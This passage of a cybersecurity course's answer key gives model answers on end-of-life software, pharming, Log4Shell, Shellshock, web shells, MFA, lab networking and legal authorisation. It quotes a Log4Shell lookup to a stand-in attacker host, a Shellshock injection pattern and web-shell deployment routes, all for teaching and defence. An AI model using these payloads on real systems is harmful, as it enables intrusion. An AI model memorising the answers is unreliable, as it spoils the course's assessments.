Model Answer:

End-of-life software is software for which the vendor has permanently stopped releasing security updates, patches, and fixes. All operating systems, frameworks, libraries, and applications have a defined support lifecycle ending in a stated EOL date — after which newly discovered vulnerabilities remain permanently unpatched.

Why it creates permanent unresolvable risk: A vulnerability discovered after the EOL date will never receive an official patch. The vulnerability becomes a fixed property of the software that cannot be remediated through normal means. Every new CVE published against that codebase after EOL adds to an ever-growing set of known exploitable weaknesses. A vulnerability scanner will typically flag EOL software as Critical — not because a specific CVE is present, but because the system is now permanently behind the security patching process.

Examples from the course labs: Metasploitable 2 runs Ubuntu 8.04 (EOL May 2013 — over a decade without patches); Metasploitable 3 runs Windows Server 2008 R2 SP1 (EOL January 2020). EternalBlue (CVE-2017-0144) is patched for supported Windows versions but remains permanently unpatched on 2008 R2 after its EOL date.

Four legitimate options when immediate replacement is not possible:

(1) Isolation and network segmentation: Move the EOL system behind strict firewall rules permitting only the minimum required network connections. Reduce the attack surface by limiting which systems can reach it. This reduces likelihood of exploitation but does not remove the vulnerability.

(2) Compensating controls: Deploy additional protective layers — WAF rules blocking known exploit patterns, IDS/IPS signatures for published exploits targeting the EOL software, monitoring for exploitation indicators. These reduce risk without fixing the underlying weakness.

(3) Extended security support (ESS): Some vendors (Microsoft, Ubuntu, Red Hat) offer paid extended security support for specific EOL products beyond the standard end date — continuing to provide critical security patches for a defined additional period.

(4) Documented risk acceptance with roadmap: Formally document that the EOL risk is known, accepted with justification (e.g., migration budget approved for Q3), assign an owner, set a deadline, and put interim controls in place. Risk acceptance is a legitimate business decision — but it must be explicit, documented, time-bounded, and reviewed regularly.

Q408: What is pharming? How does it differ from phishing, and what technical mechanisms enable it?

Model Answer:

Pharming is the redirection of users from a legitimate website to a malicious one without requiring the user to click a suspicious link. The user may type the correct URL or use a bookmark but still reach the attacker's site.

Difference from phishing: Phishing deceives users through persuasive messages that contain deceptive links — it relies on the user clicking something suspicious. Pharming subverts the DNS or routing infrastructure so that even careful users who type correct addresses are misdirected. The attack is technical, not persuasive.

Technical mechanisms:

(1) DNS cache poisoning: An attacker corrupts a DNS resolver's cache with a fraudulent mapping — domain name to attacker IP. All clients using that resolver are directed to the attacker's server for the duration of the TTL. DNSSEC mitigates this by requiring signed DNS records.

(2) Hosts file modification: Malware modifies the local `/etc/hosts` (Linux) or `C:\Windows\System32\drivers\etc\hosts` (Windows) file, which takes precedence over DNS. An entry `'attacker-ip example.com'` redirects `example.com` to the attacker for that device regardless of DNS resolution.

(3) Rogue DHCP server: On a local network, an attacker operates an unauthorised DHCP server that hands out rogue DNS server addresses to devices. All DNS queries from affected devices go to the attacker's DNS server, which can return fraudulent responses for any domain.

(4) Router compromise: Home or enterprise routers with default or weak credentials are compromised. The attacker changes the router's configured DNS servers to attacker-controlled ones. All devices using that router for DNS resolution are affected without any local device modification.

(5) Evil-twin / rogue access point: A fake WiFi access point that provides attacker-controlled DNS to connected devices.

Defences: DNSSEC (validates DNS record authenticity), HTTPS with certificate validation (if a user reaches an impersonation site, the certificate for the real domain will not be valid for the attacker's server — browser warnings result), HSTS preloading (browser enforces HTTPS for enrolled domains), endpoint protection (detects hosts file modification), router security (change default admin credentials, monitor DNS settings).

Q409: What is the 3-2-1 backup rule? Why is offline or immutable backup storage essential against ransomware, and what is recovery time objective (RTO) vs recovery point objective (RPO)?

Model Answer:

The 3-2-1 backup rule is a widely adopted guideline for resilient backup architecture: keep 3 copies of data, on 2 different storage media types, with 1 copy stored offsite.

Three copies: The production copy plus two backups ensures that two simultaneous failures would be needed to lose all copies. Two media types: different failure modes affect different media (disk failure doesn't affect tape; fire affecting on-site storage doesn't affect cloud). One offsite copy: protection against physical disasters (fire, flood, theft) affecting the primary location.

Why offline or immutable storage is essential against ransomware: Ransomware typically enumerates and encrypts all writable storage accessible to the infected system — including network shares, connected external drives, and cloud sync folders. If backup storage is online and writable from the infected system, the ransomware encrypts backups too, eliminating the recovery path. Defences: (1) Immutable storage: cloud storage with object-lock / WORM (Write Once Read Many) policies that prevent modification or deletion of objects for a retention period — ransomware cannot modify locked objects even with valid credentials. (2) Offline / air-gapped backups: tape, removable drives stored disconnected — physically inaccessible to the ransomware. (3) Separate credential management: backups authenticated with credentials not present on production systems — compromising the production environment doesn't give access to backup credentials.

RTO (Recovery Time Objective): The maximum acceptable time between a disaster and restoration of normal service. RTO = 4 hours means the organisation accepts up to 4 hours of downtime. Drives decisions about hot standby systems, automated failover, and recovery automation.

RPO (Recovery Point Objective): The maximum acceptable data loss measured in time — how far back the most recent backup can be without causing unacceptable data loss. RPO = 1 hour means the organisation can lose at most 1 hour of data. Drives backup frequency — if RPO is 1 hour, backups must run at least hourly. Together, RTO and RPO define the recovery capability requirements that backup architecture must satisfy.

Q410: What is a reverse social engineering attack? How does it differ from conventional social engineering, and why is it particularly difficult to detect?

Model Answer:

In conventional social engineering the attacker initiates contact, posing as someone with authority (IT support, manager, vendor) to extract information or access from the target.

In a reverse social engineering attack the flow is inverted: the attacker creates a situation where the target seeks out and contacts the attacker, believing they are reaching legitimate help. The target initiates the

interaction — which removes the primary warning signal that someone is trying to deceive you.

Typical mechanism: (1) Sabotage: The attacker creates a problem — knocks a system offline, sends a confusing error message, or interrupts a service that the target depends on. (2) Advertising: The attacker positions themselves as the solution — posting fake IT support contact details where the target will find them (bulletin boards, company intranet, help desk forum, a spoofed email saying 'if you experience issues contact helpdesk@company-it-support.com'). (3) Help: The target, experiencing the problem, contacts the attacker's number or email. (4) Extraction: The attacker, playing IT support, requests credentials, remote access, or sensitive information to 'fix' the problem — which the target willingly provides because they sought help.

Why it is particularly difficult to detect: (1) The target initiated contact — they called the attacker, not vice versa. Normal warning instincts ('be suspicious of unexpected requests') don't fire. (2) The target is stressed and motivated by the problem — cognitive load reduces critical evaluation. (3) The target believes they selected the contact independently. (4) No suspicious message to flag — the interaction begins from the target's side. Defence requires: ensuring IT contact details are only ever sourced from officially maintained, verified directories; training staff never to provide credentials or remote access even to contacts they believe they called themselves; and using multi-step identity verification for any privileged action.

Q411: What is a birthday attack? Explain the birthday paradox and how it applies to hash function collision resistance. What hash output length does it require to resist birthday attacks?

Model Answer:

The birthday paradox is a probability result: in a group of just 23 people, there is a greater than 50% probability that two share a birthday. More generally, for a set of N possible outcomes, you only need approximately $\sqrt{N}$ samples before a collision (two samples matching) becomes more likely than not.

Applied to hash functions: a hash function with an n -bit output has 2^n possible hash values. A brute-force search for a specific preimage (find input x such that $H(x) = \text{target}$) requires approximately 2^n attempts. But a collision attack (find any two inputs $x_1 \neq x_2$ such that $H(x_1) = H(x_2)$) requires only approximately $2^{n/2}$ attempts — because you are searching for any pair, not a specific target.

Implication: A hash function with a 128-bit output has 2^{128} possible values, suggesting brute-force preimage resistance of 2^{128} . But birthday attack collision resistance is only 2^{64} — enough trials to make a collision likely. For many security applications, 2^{64} is computationally feasible with sufficient resources.

Why this matters for digital signatures and certificates: If an attacker can find two documents with the same hash — one benign (for signing) and one malicious (to substitute after signing) — they can get a legitimate signature on the benign document and then replace it with the malicious one. The signature remains valid because the hash matches.

Required output length: To maintain 128 bits of effective security against birthday attacks, a hash function needs a 256-bit output (2^{128} collision resistance = $256/2$). This is why SHA-256 provides 128 bits of collision security, and why MD5 (128-bit output, only 64-bit birthday resistance) and SHA-1 (160-bit output, 80-bit birthday resistance) are deprecated for collision-sensitive applications. Modern standard: SHA-256 minimum for most applications; SHA-384 or SHA-512 for higher-security contexts.

Q412: What is a chosen-plaintext attack (CPA) and a chosen-ciphertext attack (CCA)? Why do modern encryption schemes need to be secure against CCA?

Model Answer:

Chosen-plaintext attack (CPA): The attacker can choose arbitrary plaintexts and obtain their corresponding ciphertexts. In real systems this is more achievable than it sounds — an attacker who can submit data to an encryption oracle (e.g., a service that encrypts user-provided data and returns the ciphertext) has CPA capability. A scheme is CPA-secure if an attacker with this capability cannot learn anything about the plaintext from observed ciphertexts.

CPA-insecurity: Textbook RSA (deterministic) is CPA-insecure because encrypting the same message always produces the same ciphertext — the attacker can encrypt candidate plaintexts and compare. This is why RSA-OAEP adds randomness.

Chosen-ciphertext attack (CCA): The attacker can submit arbitrary ciphertexts to a decryption oracle and observe the decryption results, then use this to break the scheme. A padding oracle attack is a real-world CCA: an application that decrypts submitted ciphertexts and returns different error messages depending on whether padding is valid leaks information about the plaintext through repeated queries.

CCA2 (adaptive chosen-ciphertext attack): The strongest model — the attacker can query the decryption oracle on any ciphertexts except the target challenge ciphertext, even after seeing the challenge.

Why schemes must be CCA-secure: In practice, attackers often can submit ciphertexts for decryption — servers decrypt user-provided data, TLS implementations respond differently to valid and invalid messages, applications return error information. A scheme secure only against CPA may be completely broken by a realistic CCA. Real deployed systems face CCA-like conditions, so schemes must be proven CCA-secure. This is why authenticated encryption (AEAD like AES-GCM) is required — the authentication tag check prevents processing of modified or arbitrary ciphertexts, eliminating decryption oracle access.

Q413: What is differential privacy in practice? Describe the Laplace mechanism and explain why adding noise to query results is the right trade-off for privacy-preserving analytics.

Model Answer:

Differential privacy provides a mathematical guarantee: the probability of any output changes by at most a factor of e^ϵ when any single individual's data is added or removed from the dataset. Smaller epsilon means stronger privacy but more noise added to results.

The Laplace mechanism: For a numerical query (e.g., 'how many patients have condition X?'), the mechanism adds random noise drawn from a Laplace distribution. The scale of the noise is calibrated to the sensitivity of the query (how much could one person's data change the true answer?) divided by epsilon. For counting queries, sensitivity is 1 (one person can change the count by at most 1). With epsilon=1: add noise drawn from Laplace(scale=1). With epsilon=0.1: add more noise (Laplace(scale=10)) for stronger privacy.

Why adding noise is the right trade-off: Without noise, exact query results can reveal individual data through inference. If a database contains 100 cancer patients and query A returns 100 and query B (excluding one specific person) returns 99, the difference reveals that specific person has cancer. Adding noise breaks this inference while preserving approximate aggregate results. The accuracy loss is proportional to the noise level — useful for large aggregates (a count of 10,000 with noise ± 50 is still informative), less useful for very small groups.

Composition: Multiple queries consume privacy budget — epsilon accumulates across queries. After enough queries, the total epsilon becomes large and privacy protection weakens. This requires either limiting the number of queries (basic composition) or using more sophisticated techniques (advanced composition, Renyi differential privacy).

Real applications: Apple and Google use local differential privacy for telemetry collection (noise added on-device before data is sent). The US Census Bureau applied differential privacy to the 2020 decennial census microdata. Google's RAPPOR uses DP for Chrome browser statistics. The key insight: DP gives a provable privacy guarantee that anonymisation without noise cannot provide.

Q414: What is a proxy server? Distinguish forward proxy from reverse proxy, and explain how each contributes to security.

Model Answer:

A proxy server is an intermediary that handles network requests on behalf of another party — either clients (forward proxy) or servers (reverse proxy).

Forward proxy: Sits between internal clients and the external internet. Clients send requests to the proxy, which forwards them on the client's behalf. The external server sees the proxy's IP, not the client's.

Security contributions of a forward proxy: (1) URL filtering — blocks access to malicious, inappropriate, or policy-prohibited websites. (2) Content inspection — scans downloaded files for malware before delivery to the client. (3) SSL inspection — decrypts and inspects HTTPS traffic (with appropriate certificate trust configuration) to detect threats in encrypted channels. (4) Caching — reduces bandwidth usage. (5) Logging — provides visibility into which clients accessed which external resources, supporting incident investigation. (6) Anonymisation — hides internal IP addressing from external services, limiting external reconnaissance.

Reverse proxy: Sits between external clients and internal backend servers. External clients connect to the reverse proxy, which forwards requests to backend servers and returns their responses.

Security contributions of a reverse proxy: (1) Attack surface reduction — backend servers are not directly reachable from the internet; only the reverse proxy's IP is exposed. (2) WAF integration — the reverse proxy can inspect and filter HTTP requests before they reach application servers. (3) DDoS absorption / Slowloris mitigation — the proxy handles slow and malformed connections, protecting backend application servers from connection exhaustion. (4) TLS termination — SSL/TLS is terminated at the proxy; backend servers may use unencrypted internal connections (acceptable within a trusted network boundary). (5) Load balancing — distributes traffic across multiple backend instances. (6) Authentication enforcement — the proxy can require authentication before passing requests to any backend service.

Q415: What are misuse cases (abuse cases) in threat modeling? How do they complement use cases in requirements engineering, and give a worked example.

Model Answer:

Use cases describe how legitimate users interact with a system to achieve valid goals. Misuse cases (abuse cases) describe how malicious actors or system failures can interact with the same system to cause harm. They are the adversarial counterpart to use cases, applied during requirements and design phases to surface security requirements early.

Complementary relationship: Use case analysis identifies what the system must do for legitimate users. Misuse case analysis asks, for each use case and each asset: 'Who would want to misuse this, how could they do it, and what is the impact?' The two are applied together — for each use case, derive the corresponding misuse cases, then use those to generate security requirements that constrain system behaviour.

Worked example — online banking login:

Use case: Customer authenticates to internet banking using username and password.

Corresponding misuse cases: (1) Attacker performs credential stuffing: Uses a database of breached username/password pairs to attempt logins at high volume. Counter-requirement: implement rate limiting per username and per source IP; implement anomaly detection for distributed credential attacks; screen new passwords against known breach databases. (2) Attacker phishes the customer: Sends a fake login page that captures credentials. Counter-requirement: implement phishing-resistant MFA (hardware key or TOTP); register DMARC policy; train users to verify URL. (3) Attacker performs session fixation: Sets a known session token before authentication, then uses it after the customer logs in. Counter-requirement: regenerate session token immediately after successful authentication; do not accept session tokens from URL parameters. (4) Insider misuse: A bank employee uses administrative access to reset passwords and access customer accounts. Counter-requirement: separate duties between customer support and privileged account management; audit all administrative account actions; alert on unusual activity.

Output: Each misuse case becomes a specific, testable security requirement that the system must satisfy before deployment.

Q416: What is FIPS PUB 197 and why does government-level standardisation of AES matter for cryptographic assurance? What lessons does the EAXprime case add?

Model Answer:

FIPS PUB 197 (Federal Information Processing Standard Publication 197) is the US government standard that specifies AES as the approved symmetric encryption algorithm for protecting sensitive US federal government information. Issued by NIST, it defines the algorithm (Rijndael with 128-bit blocks), the three key sizes (128, 192, 256 bits), and the corresponding round counts.

Why government-level standardisation matters: (1) Public competition and review: AES was selected through an open international competition (15 submissions, 5 finalists, years of public cryptanalysis). Any expert worldwide could submit, critique, and attack the candidates. This public process provides much higher confidence than a proprietary or secret algorithm — no hidden backdoors, no unexplained design choices. (2) Regulatory and procurement requirements: Government procurement and regulated industries (finance, healthcare) often require FIPS-validated implementations. Cryptographic modules must pass FIPS 140-3 validation (testing of both the algorithm and its implementation). (3) Interoperability: All FIPS-validated implementations of AES must produce identical results — enabling cross-vendor, cross-platform secure communication. (4) Longevity: A stable standard provides a long deployment horizon, amortising migration costs over decades.

EAXprime (EAX') lessons: EAX' was standardised in ANSI C12.22 for electricity-meter data transport. In 2012, researchers broke it — a published standard proved cryptographically flawed. This adds the critical qualification: standardisation improves assurance through public review, but it is not a permanent guarantee. Standards must continue to receive cryptanalytic scrutiny after publication. Organisations must be prepared to migrate when weaknesses are found. The correct response to 'we use a standardised algorithm' is not complacency but continued monitoring of the cryptographic literature and readiness to update.

Q417: Apply MITRE ATT&CK; to describe the kill chain of the EternalBlue/WannaCry attack. Map at least five distinct ATT&CK; tactics to the stages of the attack.

Model Answer:

The WannaCry ransomware attack (May 2017) is one of the most significant documented cyber incidents. It combined EternalBlue (MS17-010 SMB exploit) with ransomware functionality and self-propagation. Mapping to ATT&CK::

(1) Initial Access (TA0001): WannaCry used Exploit Public-Facing Application (T1190) — specifically, EternalBlue exploited the SMBv1 vulnerability on port 445 without requiring any user interaction or credentials. Systems exposed to the internet or reachable on internal networks were compromised automatically.

(2) Execution (TA0002): Exploitation for Client Execution (T1203) — the buffer overflow in SMBv1 redirected kernel execution to the shellcode payload. No user action required. The shellcode installed the ransomware dropper.

(3) Persistence (TA0003): WannaCry created registry run keys and services (Boot or Logon Autostart Execution — T1547) ensuring the ransomware restarted after reboots to continue encryption.

(4) Lateral Movement (TA0008): WannaCry actively scanned networks for other vulnerable SMB hosts (Remote Services — T1021, and Network Service Discovery — T1046) and used EternalBlue again against each discovered host. This wormable propagation was what enabled infection of 230,000 systems in 150 countries within hours.

(5) Command and Control (TA0011): WannaCry attempted to contact a hardcoded domain (later identified as a kill switch) and Tor-based C2 infrastructure. Web Service (T1102) and encrypted channels were used for C2.

(6) Impact (TA0040): Data Encrypted for Impact (T1486) — files were encrypted with RSA+AES and ransom notes demanded Bitcoin payment.

ATT&CK; value: This mapping allows defenders to ask 'which detections would have interrupted this chain?' — network monitoring for SMB scanning (lateral movement), process monitoring for unexpected child processes after SMB connections (execution), monitoring for new services and run keys (persistence). Detections at any stage could limit the attack's scope.

Q418: What legal frameworks govern computer crime in Denmark and the EU? What are the legal consequences of scanning or testing systems without authorisation?

Model Answer:

Computer crime in Denmark is primarily governed by the Danish Criminal Code (Straffeloven), specifically sections covering: unauthorised access to IT systems (section 263, stk. 2 — 'hacking'), data fraud, interference with IT systems (section 193 — covering DoS attacks), and unlawful interception of communications.

At the EU level, Directive 2013/40/EU on attacks against information systems harmonises criminal law across EU member states, establishing minimum standards for offences including: illegal access to information systems (with intent or without right), illegal system interference, illegal data interference, and interception of non-public computer data communications. Member states must criminalise these acts and provide effective penalties.

NIS2 Directive (2022/2555/EU) adds civil and administrative obligations for organisations — not individual criminal liability, but significant regulatory fines and management accountability for security failures.

Legal consequences of scanning or testing without authorisation: Running Nmap, Nessus, Metasploit, or any other scanning or exploitation tool against systems without explicit written permission constitutes unauthorised access regardless of intent. Consequences include: criminal prosecution under national computer crime law (in Denmark, up to 6 years imprisonment for serious cases), civil liability for damages caused, academic disciplinary proceedings if done from university networks, and professional consequences (security certifications revoked, employment terminated).

The ethical principle from the course: 'Permission before testing' is not merely an ethical guideline — it is a legal requirement. The fact that a vulnerability exists, that a port is open, or that a tool is publicly available does NOT constitute authorisation. A reachable service and a public exploit together do not make testing lawful. Authorisation must be explicit, documented, scoped, and from the entity with authority to grant it. The tool is neutral; the authorisation (or lack of it) determines legality.

Q419: A web application login page returns different error messages for 'username not found' versus 'incorrect password'. What vulnerability does this represent, and how should it be fixed?

Model Answer:

This is username enumeration — an information disclosure vulnerability that allows an attacker to determine which usernames are valid in the system by observing the system's different responses to valid and invalid credentials.

Why it is a vulnerability: An attacker systematically submits candidate usernames and observes responses. Responses that say 'username not found' identify non-existent accounts; responses that say 'incorrect password' confirm the username exists. In a few hours, an attacker can build a complete list of valid usernames on the system, dramatically focusing subsequent attacks: credential stuffing only needs to try valid usernames; targeted phishing or social engineering can be personalised; password brute-force attacks can be targeted precisely.

STRIDE category: Information Disclosure — the system reveals internal state (account existence) to unauthenticated users.

Additional impact: Username enumeration on employee-facing systems reveals internal account naming conventions (firstname.lastname, employee ID patterns), which may extend to other systems using the same naming scheme. Combined with public LinkedIn data, it enables highly targeted spear phishing.

Fix: Return identical, generic responses regardless of whether the username exists or the password is wrong. The user-visible message should always be: 'Invalid username or password' — providing no indication of which is incorrect. The same HTTP status code should be returned. The same response time should be maintained (to prevent timing-based enumeration — if 'username not found' returns in 5ms and 'incorrect password' takes 200ms due to password hashing, the time difference leaks information even when the message is generic). This is the 'consistent response' principle: all failed authentication attempts are indistinguishable to an outside observer.

Q420: Explain the concept of threat modelling for a mobile application. What unique trust boundaries and threats exist compared to a traditional server-side web application?

Model Answer:

Mobile applications run on devices that are physically in users' hands — outside any organisational perimeter control. This creates fundamentally different trust boundaries and threats from server-side web

applications:

Unique trust boundaries in mobile apps:

(1) Device boundary: Data stored on the device (SQLite databases, shared preferences, local files, keychain) is accessible to the OS, other apps (depending on permissions), and physical access. Unlike server databases, local storage cannot be protected by server-side access controls.

(2) OS and runtime boundary: The mobile OS mediates all resource access. A rooted (Android) or jailbroken (iOS) device removes OS-enforced security boundaries — a malicious app can access other apps' data, and the expected security assumptions are invalidated.

(3) Network boundary: All traffic between mobile app and backend traverses untrusted networks (mobile data, public WiFi). Certificate pinning, TLS validation, and HSTS are all relevant.

(4) Inter-app communication: Mobile platforms provide mechanisms for apps to communicate (Android Intents, iOS URL schemes, pasteboard). Poorly configured exported components can be called by other apps.

Unique threats compared to server-side web:

(1) Physical device theft: The entire application and its stored data is potentially accessible to an attacker with the device. Threats: extraction of stored tokens, credentials, cached sensitive data. Mitigations: device encryption, secure storage APIs (Android Keystore, iOS Keychain), short-lived tokens.

(2) Malicious co-resident apps: Other apps on the same device may attempt to read data through IPC mechanisms, screen scraping, accessibility APIs, or exploiting exported components. Mitigation: restrict exported components, avoid storing sensitive data in insecure locations.

(3) Binary reverse engineering: The app binary is distributed to users and can be decompiled. Hard-coded secrets, API keys, and business logic are all exposed. Mitigation: never embed secrets in the binary, use certificate pinning for API communication.

(4) Rooted/jailbroken devices: OS security boundaries are absent. Apps should detect this and refuse to operate or warn the user. Mitigation: root detection, though it can be bypassed by sophisticated attackers.

Q421: What is a web shell? How is it deployed, what capabilities does it provide an attacker, and what does finding one indicate about the state of a compromise?

Model Answer:

A web shell is a malicious script uploaded to a web server that provides an attacker with remote code execution capability through HTTP requests. It is a persistent backdoor that survives server restarts and can be accessed from any location using a web browser or HTTP client.

Deployment methods: (1) Exploiting a file upload vulnerability — the application accepts file uploads without validating type, and the attacker uploads a PHP, ASP, JSP, or Python script to a web-accessible directory.

(2) SQL injection with FILE privilege — using INTO OUTFILE in MySQL to write a shell to the web root directory. (3) Remote code execution vulnerability — using RCE to write a file to disk. (4) FTP/SSH compromise — if the attacker gains FTP or shell access through credential compromise, they copy a shell directly.

Capabilities: Once deployed, the attacker sends HTTP requests to the shell (often with commands in URL parameters or POST bodies). The shell executes the commands with the web server process's privileges.

and returns the output in the HTTP response. This provides: OS command execution, filesystem access (read/write/delete files), privilege escalation attempts, lateral movement to other systems reachable from the server, database access, and data exfiltration. Tools like China Chopper provide a compact, functional web shell interface.

What finding one indicates: A web shell is a post-exploitation artifact — it is not the initial compromise, it is evidence that initial compromise has already occurred and the attacker has established persistence. Finding a web shell means: (1) The server has been actively compromised. (2) The attacker likely already has OS-level access and may have exfiltrated data, installed additional backdoors, or performed lateral movement. (3) The compromise timeline is unknown — the shell may have been present for months. Incident response implications: do not simply remove the shell and consider the incident closed. Treat it as evidence of a full server compromise requiring forensic investigation, credential rotation, and system rebuild from verified clean media.

Q422: Compare the five VirtualBox networking modes relevant to the course lab. Which combinations are safe for vulnerable targets and why?

Model Answer:

NAT: The VM shares the host's IP address for outbound connections. The host acts as a NAT router. VMs in NAT mode cannot communicate with each other. Inbound connections require explicit port forwarding. The VM cannot be reached from the campus network. Safe for: Kali Linux (to access the internet for updates); not safe for vulnerable targets because VMs are isolated from each other.

NAT Network: Similar to NAT but multiple VMs share a virtual private network and can communicate with each other directly. All VMs on the same NAT Network can reach each other. Outbound internet access is available. Inbound from external networks requires port forwarding. Safer than Bridged for labs but still provides internet access to vulnerable targets.

Host-Only: VMs can communicate with each other and with the host machine. No internet access. No external network access. The VM is completely isolated from the campus network and internet. Safe for vulnerable targets — the attack surface is limited to the host and other VMs on the same host-only network.

Internal Network: VMs on the same named internal network can communicate with each other only. No host access, no internet, no external networks. The most isolated option. Safe for vulnerable targets when host access is not needed.

Bridged: The VM appears as a fully independent device on the physical network — it gets its own IP from DHCP, is reachable from all devices on the campus network, and has full internet access. Riskiest mode for vulnerable targets — bots and campus users could reach and compromise the intentionally vulnerable VMs. Never use bridged mode for Metasploitable targets.

Lab-safe combinations: Kali on NAT + Host-Only (dual adapter), Metasploitable on Host-Only or Internal Network only. The key rule: vulnerable targets must never be reachable from external networks or the campus network.

Q423: A junior analyst asks why the course insists on written authorisation before any scanning activity. Draft a concise explanation covering legal, ethical, and operational reasons.

Model Answer:

Legal reasons: Scanning a system without authorisation constitutes unauthorised access under computer crime law in virtually every jurisdiction — including the Danish Criminal Code (Straffeloven s.263) and EU Directive 2013/40/EU. It does not matter that the scanner is publicly available, that the target has a publicly visible service, or that the intent is benign. Absence of authorisation makes the activity a crime. The analyst could face criminal prosecution, civil liability, and professional consequences. Written authorisation is the legal document that distinguishes a security professional from an attacker in court.

Ethical reasons: Cybersecurity is built on trust. Penetration testers and security analysts are granted access that could cause significant harm if misused. The ethical foundation of the profession requires that this access is only exercised with explicit consent from the entity responsible for the systems. Without consent, even well-intentioned testing violates the autonomy and property rights of system owners. Personal responsibility means the analyst cannot transfer liability to a tool vendor or to the assertion that 'no harm was intended.'

Operational reasons: Scanning generates observable traffic that may trigger IDS/IPS, consume resources, or disrupt services — causing real operational impact. Without coordination with the system owners, a legitimate security scan can be indistinguishable from an attack. Security teams may respond to the scan as an incident, consuming incident response resources. Results cannot be reported or used without authorisation because doing so reveals vulnerabilities to someone who did not request the assessment. Authorisation also defines scope — without it, the analyst has no guidance on what is in or out of scope and risks crossing boundaries that matter legally or operationally.

Q424: What is Log4Shell (CVE-2021-44228)? Explain the vulnerability mechanism, why it was so severe and widespread, and the key defensive lessons.

Model Answer:

Log4Shell is a CVSS 10.0 critical remote code execution vulnerability in Apache Log4j 2 (a ubiquitous Java logging library). It was publicly disclosed in December 2021 and caused one of the largest emergency patching responses in software history.

Vulnerability mechanism: Log4j 2 performs message lookup substitutions using a feature called JNDI (Java Naming and Directory Interface). When the library logs a string containing a specially crafted pattern like `${jndi:ldap://attacker.com/exploit}`, it initiates an outbound LDAP lookup to the attacker's server and loads and executes Java code returned from that server. Because applications routinely log user-controlled input (HTTP headers, usernames, search queries), any attacker who can get their payload logged achieves remote code execution — with no prior authentication.

Why so severe and widespread: (1) Ubiquity: Log4j 2 was embedded as a transitive dependency in thousands of Java applications and frameworks — Spring, Elasticsearch, VMware vCenter, Apple iCloud, Minecraft, and countless enterprise products. Many organisations did not know they were running it. (2) Trivial exploitation: the payload fits in an HTTP User-Agent header; no authentication, no memory corruption, no advanced skill required. (3) Outbound network access: the server initiates the lookup — egress filtering that blocks outbound LDAP/LDAPS and RMI connections was an effective short-term mitigation, demonstrating the importance of egress filtering.

Defensive lessons: (1) Dependency inventory (Software Composition Analysis, SCA) is critical — know every library your application uses, including transitive dependencies. (2) Egress filtering matters — the exploit required outbound connectivity from the server; restricting unexpected outbound traffic reduced impact. (3) Log injection is a real attack surface — user-controlled data entering log messages deserves validation. (4) Emergency patching speed matters — patches were available within days; organisations that patched quickly were protected; those that took weeks remained exposed during active exploitation.

Q425: What is Shellshock (CVE-2014-6271)? Explain the injection mechanism and why environment variables created an unexpectedly large attack surface.

Model Answer:

Shellshock is a critical vulnerability in the GNU Bash shell affecting versions through 4.3. When Bash is invoked, it imports environment variables — if a variable contains a function definition, it also executes trailing commands appended after the function definition.

Vulnerability: Bash processes environment variables of the form: `foo=() { ignored; }; injected_command`. The `injected_command` is executed when Bash starts, regardless of the variable's intended purpose. An attacker who can control environment variables passed to a Bash process can execute arbitrary commands.

Why environment variables created an unexpectedly large attack surface: Environment variables are passed between processes by many different mechanisms that are not normally considered security-sensitive: (1) CGI scripts: Web servers set HTTP headers as environment variables (`HTTP_USER_AGENT`, `HTTP_COOKIE`, etc.) before calling CGI scripts. If the CGI script is a Bash script — or calls any program in a way that inherits Bash environment variables — an attacker sends a malicious HTTP header and gets RCE on the web server. (2) SSH forced commands: OpenSSH passes some client-supplied data as environment variables. (3) DHCP client hooks: DHCP lease options can become environment variables in some configurations. (4) `mod_cgi` in Apache: same CGI mechanism.

Significance: Shellshock showed that the attack surface for a vulnerability extends to every code path that can influence the vulnerable component — not just the 'obvious' input. A Bash bug became a critical web-server vulnerability because HTTP traffic eventually became environment variables. Lessons: reduce the number of components with broad access to input channels; apply defence-in-depth so that a Bash vulnerability doesn't directly mean web server RCE; patch urgently when widespread exposure is confirmed.

Q426: Compare TOTP, HOTP, push-based MFA, and hardware security keys (FIDO2/WebAuthn) as second authentication factors. What makes hardware keys phishing-resistant when others are not?

Model Answer:

TOTP (Time-based One-Time Password): Generates a 6-digit code every 30 seconds using a shared secret and the current time (RFC 6238). User enters the code alongside their password. Simple, works offline, widely supported. Weakness: susceptible to real-time phishing — an attacker can set up a fake login page that forwards credentials + TOTP to the real site immediately (adversary-in-the-middle), because the code is valid for 30 seconds and the attacker can race to use it.

HOTP (HMAC-based One-Time Password): Similar to TOTP but counter-based rather than time-based. Each use increments a counter. Weakness: same real-time phishing vulnerability; codes are valid until used.

Push-based MFA: An authentication app receives a push notification asking 'Approve sign-in from [location]?' User taps approve or deny. More user-friendly. Weakness: MFA fatigue attacks — an attacker who has stolen the password sends many authentication requests hoping the user taps 'Approve' out of frustration or confusion, or when asleep. Not phishing-resistant.

Hardware security keys (FIDO2/WebAuthn/U2F): A physical device (YubiKey, Google Titan) that performs a cryptographic challenge-response using a private key stored in tamper-resistant hardware. The key signs a challenge that includes the origin (domain) of the login page.

Why hardware keys are phishing-resistant: The FIDO2 protocol binds the authentication to the specific website origin. The security key's response is valid only for the domain that issued the challenge — it cryptographically includes the relying party's origin in the signed data. If the user is on a phishing site (fake-bank.com), the security key produces a response that is only valid for fake-bank.com, not for bank.com. The real server at bank.com will reject this response because the origin in the signed challenge doesn't match. Even if the attacker captures and forwards the response in real time, it is cryptographically bound to the wrong domain. TOTP and push MFA have no such binding — a code valid at bank.com is equally valid when submitted to bank.com from a real-time phishing proxy.

Q427: What is an insider threat? Distinguish malicious insiders, negligent insiders, and compromised insiders. What technical and organisational controls reduce insider risk?

Model Answer:

An insider threat is a security risk that originates from people who have legitimate access to an organisation's systems, data, or facilities — employees, contractors, partners, or former staff whose credentials remain active.

Malicious insider: A person who intentionally misuses their legitimate access for personal gain, revenge, competitive advantage, or ideological reasons. Examples: an employee exfiltrating customer data before resigning to join a competitor; a privileged administrator planting a logic bomb; a contractor installing a

backdoor for later sale.

Negligent insider: A person who creates security risk through careless or untrained behaviour without malicious intent. Examples: clicking a phishing link, misaddressing an email containing sensitive data, using a personal unencrypted USB drive for work files, sharing credentials 'for convenience', misconfiguring a cloud storage bucket to be publicly accessible.

Compromised insider: A person whose legitimate account or device has been taken over by an external attacker — the person is a victim, not an intentional threat. The attacker operates within the organisation using the insider's identity and access rights. Particularly dangerous because security monitoring may treat the activity as legitimate user behaviour.

